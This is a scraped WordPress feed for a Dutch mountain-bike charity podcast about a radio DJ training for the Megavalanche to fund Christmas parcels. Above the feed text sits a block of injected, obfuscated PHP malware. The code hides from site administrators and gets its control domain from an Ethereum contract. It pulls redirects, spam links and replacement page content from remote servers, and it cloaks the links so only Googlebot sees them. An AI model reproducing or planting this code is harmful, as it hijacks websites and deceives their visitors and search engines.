ADHD_FM – A.D.H.D. MTB

if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo''."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='

'.esc_html($r['t']).'

';if($h!=='')echo'

'.$h.'

';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'';wp_head();echo''.$p['h'];wp_footer();echo'';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */ ADHD_FM – A.D.H.D. MTB https://adhdmtb.nl Trainen voor de mega Mon, 26 Feb 2024 09:58:23 +0000 nl-NL hourly 1 https://wordpress.org/?v=6.5.5 SPORTFIETSEN IS DUUR! https://adhdmtb.nl/blog/2024/02/26/podcast-01/ Mon, 26 Feb 2024 09:04:01 +0000 https://adhdmtb.nl/?p=247 Aflevering 1 van de ADHD MTB podcast

Kunnen Jan Blok van wielersportvereniging HSK Trias, John van Herwerden van van Herwerden Sportfietsen en Tinus Jongert directeur Nederlands paramedisch instituut en inspanningsfysioloog, Barry overtuigen dat sportfietsen niet duur is als je dit af weegt naar de gezondheid aspecten voor lichaam en geest?

]]> De W’s voor de pers https://adhdmtb.nl/blog/2024/02/21/de-ws-voor-de-pers/ Wed, 21 Feb 2024 11:54:45 +0000 https://adhdmtb.nl/?p=230 Een van de zwaarste mountainbike races van Europa, ook wel bekend als de Megavalanche, is een brute, koude en enigszins gevaarlijke afdaling van Alpe d’Huez. Voor ervaren mountainbikers is dit al een flinke uitdaging met risico’s. Maar hoe zal dat gaan voor een Radio-dj van middelbare leeftijd die nog maar net kan fietsen?

Over de rider.

Barry van de Laar is het vaste gezicht bij het programma Achter De Haagse Duinen op Den Haag FM. Hij is een 47 jarige vader van 2 geweldige meiden, vrijwilliger bij de radio en enthousiasteling op het gebied van challenges. In volle ontkenning van een vroege midlifecrisis is hij met volle moed in januari gestart om te leren mountainbiken om in juni 2025 de race van zijn leven aan te gaan, de Megavalance. Sneeuw, rotsen en bossen gaat
hij trotseren om aan de voet van de Alpe d’Huez veilig van zijn fiets te kunnen stappen. Dit alles met maar één doel: geld inzamelen voor een drie gangen kerstdiner inclusief cadeautjes.

Voor een diner met cadeautjes?

Veel gezinnen hebben het moeilijk tijdens de kerstdagen en zijn veelal afhankelijk van de voedselbank. Een kerstdiner, kerstontbijt en cadeautjes zijn luxes waar vaak geen financiële ruimte voor is te vinden. Stichting Rocking Up X-Mas verzorgt kerstpakketten om zo de zorgen even weg te nemen en de gezinnen toch te laten genieten van een mooie kerst. In
het kerstpakket zitten ingrediënten en een recept om een luxe 3-gangen maaltijd te maken.

Ze vullen dit pakket aan met diverse extra’s zoals een lokaal uitje, speelgoed en andere zaken die niet vanzelfsprekend zijn.

Rocking up Xmas heeft in 2023 ca.1500 gezinnen in Nederland geholpen aan een kerstpakket. De pakketten worden samengesteld door een professionele kok en een vast team binnen de stichting. Met meer dan 100 vrijwilligers zorgen ze in de dagen voor kerst dat de gezinnen deze mooie pakketten in ontvangst mogen nemen en hierdoor toch een prachtige kerst kunnen beleven.

Samen met de Haagse mountainbike gemeenschap en een aantal lokale ondernemers gaat Barry de komende maanden trainen en oefenen om veilig “gecontroleerd van een berg af te donderen”.

Wil jij meer te weten komen of mee doen!? laat even een berichtje achter

Wil je doneren? … klik dan hier

Contact met Barry

]]> ADHD.MTB Let’s Go https://adhdmtb.nl/blog/2024/01/27/adhd-27-januari-2024/ Sat, 27 Jan 2024 19:58:07 +0000 https://adhdmtb.nl/?p=156 En toen was het zo ver… het begin van de uitdaging. 27 januari stond de uitzending van Achter de Haagse Duinen in het teken van de mountainbike challenge. Het was een drukte van jewelste en iedereen had een rol om Barry van die berg af te krijgen.

Met deze helden moet dit zeker gaan lukken!

Bekijk de Haagse helden pagina voor meer info over deze toppers.

]]>